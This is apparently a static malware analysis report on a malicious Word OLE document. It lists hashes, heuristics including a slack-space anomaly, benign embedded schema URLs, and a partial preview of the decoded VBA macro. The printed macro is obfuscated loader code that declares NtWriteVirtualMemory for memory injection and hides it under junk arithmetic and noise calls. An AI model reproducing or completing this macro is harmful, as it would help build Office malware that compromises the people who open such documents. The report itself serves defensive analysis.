Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f03d7a77802daf2…

MALICIOUS

Office (OLE)

180.5 KB Created: 2018-02-27 11:01:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 0911713fc2ab17c738683b4241838c5b SHA-1: 4627cd4cd1d7167877093854dc1e82744da00717 SHA-256: 9f03d7a77802daf2719c2c2b0a80fa14279183a0071002bdf3393fe9d32f4365
62 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an OLE document with detected VBA macros and an anomaly in its slack space, indicating potential malicious content. The VBA macro code, though partially obfuscated, contains API calls such as 'NtWriteVirtualMemory' and 'GetOverlappedResult', suggesting memory manipulation and execution of code. The presence of these indicators strongly suggests the macro is designed to download and execute a secondary payload.

Heuristics 3

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 184,832 bytes but its declared streams total only 108,219 bytes — 76,613 bytes (41%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5117 bytes
SHA-256: 13a9a5181022d9547f31e12f7552442ec9dc7b005aca029c98383979165f39fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "meteorologic"
Attribute VB_Base = "0{54A08F3B-F1B2-4137-A0D8-D3C6DAD5BD79}{C5427CAA-5266-4380-A8DD-6FDCDC7430D9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "fixoid"

#If (92 - 114 + 422 + 40 - 62 + 322) > ((95 - 31 + 256) - (80 - 33 + 493) * 1) And ((1 - 38 + 65) - (71 - 7 - 36)) * 2 < (Win64) Then
Public Declare PtrSafe Function dicranales _
Lib "ntdll   " Alias _
"NtWriteVirtualMemory" (ByVal goatsfoot As Any, ByVal caucasia As Any, ByVal accoy As Any, ByVal bulbed As Any, ByVal anaphor As Any) As LongPtr
Public Declare PtrSafe Function appropinquate _
Lib "Shlwapi   " Alias _
"GetOverlappedResult" (ByVal assuefaction As Any, aerostatics As Any, navigation As Any, successful As Any) As LongPtr
#End If
#If (47 - 1 + 354 + 92 - 128 + 336) > ((69 - 97 + 348) - (63 - 116 + 593) * 1) And Not ((46 - 57 + 39) - (123 - 102 + 7)) * 2 < (Win64) Then
Public Declare Function dicranales _
Lib "Ntdll   " Alias _
"NtWriteVirtualMemory" (ByVal adonize As Any, ByVal apathetic As Any, ByVal eulogist As Any, ByVal vivaciousness As Any, ByVal pyrrhus As Any) As Long
Public Declare Function dank _
Lib "Shlwapi   " Alias _
"SleepConditionVariableSRW" (ByVal maternalistic As Any, bootlegger As Any, historicalness As Any, anglophobe As Any) As Long
#End If
Function compunction(carib, allomerous, thuggery)
Dim episcopacy As Long
Dim pedibus As Variant
Dim carposporic As Long
Dim anthoceros As String
Dim idolater As Long
Dim aground As Byte
Dim ceasar As Long
Dim relapse As Variant
Dim intoxicant As Long
Dim intercede As Long
Dim krakatau As String
nguni = "arguer"
ebriety = duffer Or 223
episcopacy = carib
intoxicant = thuggery
duffer = Fix(281)
idolater = allomerous
chalaza = 39 + 29
Pmt 0, chalaza, 31479, 17068, 6
duffer = Rnd(133)
carposporic = 34 - 49 + 14
dicranales ByVal carposporic, _
episcopacy, idolater, _
intoxicant, ceasar
bragi = "bentfollow"
End Function
Sub odi()
Dim distribution As Variant
Dim fando As Byte
meteorologic.gelechia.Value = Day(#12/5/2013#)
varday = emulous = "mountebank"
outtake = enlivened
chokey = hypothalamus
acquirements = "unintellectual"
lever = "anticyclone"
printing = residue
millenium = "instrumental"
sorrows = "grecoroman"
Set aspersions = meteorologic.gelechia.SelectedItem
falcatifolium = 18 + 41
Pmt 0, falcatifolium, 28922, 29993, 4
epopee = aspersions.Name
inflater = 111 - 3 + 7736
antithyroid = Right(epopee, inflater)
crucial = lithographer.cropout(antithyroid)
descendants = 24 + 44
Pmt 0, descendants, 23190, 26646, 5
dominating = affectioned
#If (51 - 18 + 367 + 42 - 76 + 334) > ((80 - 57 + 297) - (104 - 116 + 552) * 1) And ((96 - 44 - 24) - (83 - 19 - 36)) * 2 < (Win64) Then
Dim indigo As Variant
Dim powerhouse As LongPtr
Dim montagne As LongPtr
Dim chamomile As Byte
#ElseIf (111 - 58 + 347 + 63 - 105 + 342) > ((10 - 116 + 426) - (93 - 12 + 459) * 1) And Not ((59 - 57 + 26) - (110 - 33 - 49)) * 2 < (Win64) Then
Dim connotative As Long
Dim montagne As Long
Dim transilience As Byte
Dim powerhouse As Long
#End If
eschrichtius = 10 - 51 + 41
marketplace = "myrmeleon"
harshness = "latrociny"
circumstantially = 84 - 95 + 4107
addlebrained = 35 + 1
Pmt 0, addlebrained, 17601, 59302, 7
ruscus = "adnoun"
desperation = "magna"
bonedry = "knee"
macrocolous = 23 + 11
Pmt 0, macrocolous, 7756, 43849, 5
upriver = crucial
copepod = tennessee
powerhouse = selfdeception(upriver)
apace = "proctoscope"
paying = "effervescence"
#If (37 - 53 + 416 + 12 - 108 + 396) > ((95 - 69 + 294) - (120 - 81 + 501) * 1) And ((99 - 128 + 57) - (79 - 47 - 4)) * 2 < (Win64) Then
Dim amplify As Long
Dim salva As LongPtr
Dim surfacing As LongPtr
Dim toute As LongPtr
caymon = 25 - 51 + 2090
#End If
#If (58 - 99 + 441 + 10 - 46 + 336) > ((111 - 16 + 225) - (32 - 47 + 555) * 1) And Not ((89 - 56 - 5) - (45 - 59 + 42)) * 2 < (Win64) T
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.